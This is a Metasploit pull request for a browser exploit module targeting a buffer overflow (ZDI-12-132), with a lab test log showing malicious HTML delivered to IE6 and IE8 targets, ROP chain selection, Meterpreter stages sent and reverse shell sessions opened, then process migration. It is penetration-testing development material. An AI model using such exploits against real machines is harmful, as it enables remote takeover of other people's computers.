rapid7/metasploit-framework — pull request #1213 by jvazquez-r7 (2012-12-28 10:47:12+00:00)
Title: added module for zdi-12-132

Some testing:

msf > use exploit/windows/browser/inotes_dwa85w_bof
msf exploit(inotes_dwa85w_bof) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.128:4444
[*] Using URL: http://0.0.0.0:8080/uqy9puI5ASjd9e
[*] Local IP: http://192.168.1.128:8080/uqy9puI5ASjd9e
[*] Server started.
msf exploit(inotes_dwa85w_bof) > [*] 192.168.1.140 inotes_dwa85w_bof - Requesting: /uqy9puI5ASjd9e
[*] 192.168.1.140 inotes_dwa85w_bof - Target selected as: IE 6 on Windows XP SP3
[*] 192.168.1.140 inotes_dwa85w_bof - Sending HTML...
[*] 192.168.1.140 inotes_dwa85w_bof - Requesting: /uqy9puI5ASjd9e
[*] 192.168.1.140 inotes_dwa85w_bof - Target selected as: IE 6 on Windows XP SP3
[*] 192.168.1.140 inotes_dwa85w_bof - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.140
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.140:3473) at 2012-12-28 11:18:44 +0100
[*] Session ID 1 (192.168.1.128:4444 -> 192.168.1.140:3473) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: IEXPLORE.EXE (1712)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3680
[+] Successfully migrated to process
[*] 192.168.1.140 - Meterpreter session 1 closed. Reason: Died

msf exploit(inotes_dwa85w_bof) >
[*] 192.168.1.137 inotes_dwa85w_bof - Requesting: /uqy9puI5ASjd9e
[*] 192.168.1.137 inotes_dwa85w_bof - Target selected as: IE 8 on Windows 7
[*] 192.168.1.137 inotes_dwa85w_bof - Using dwabho.dll ROP
[*] 192.168.1.137 inotes_dwa85w_bof - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.137
[*] Meterpreter session 2 opened (192.168.1.128:4444 -> 192.168.1.137:49688) at 2012-12-28 11:23:53 +0100
[*] Session ID 2 (192.168.1.128:4444 -> 192.168.1.137:49688) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3928)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1184
[+] Successfully migrated to process
[*] 192.168.1.140 inotes_dwa85w_bof - Requesting: /uqy9puI5ASjd9e
[*] 192.168.1.140 inotes_dwa85w_bof - Target selected as: IE 8 on Windows XP SP3
[*] 192.168.1.140 inotes_dwa85w_bof - Using msvcrt ROP
[*] 192.168.1.140 inotes_dwa85w_bof - Sending HTML...
[*] Sending stage (752128 bytes) to 192.168.1.140
[*] Meterpreter session 3 opened (192.168.1.128:4444 -> 192.168.1.140:1096) at 2012-12-28 11:24:26 +0100
[*] Session ID 3 (192.168.1.128:4444 -> 192.168.1.140:1096) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (1856)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3068
[+] Successfully migrated to process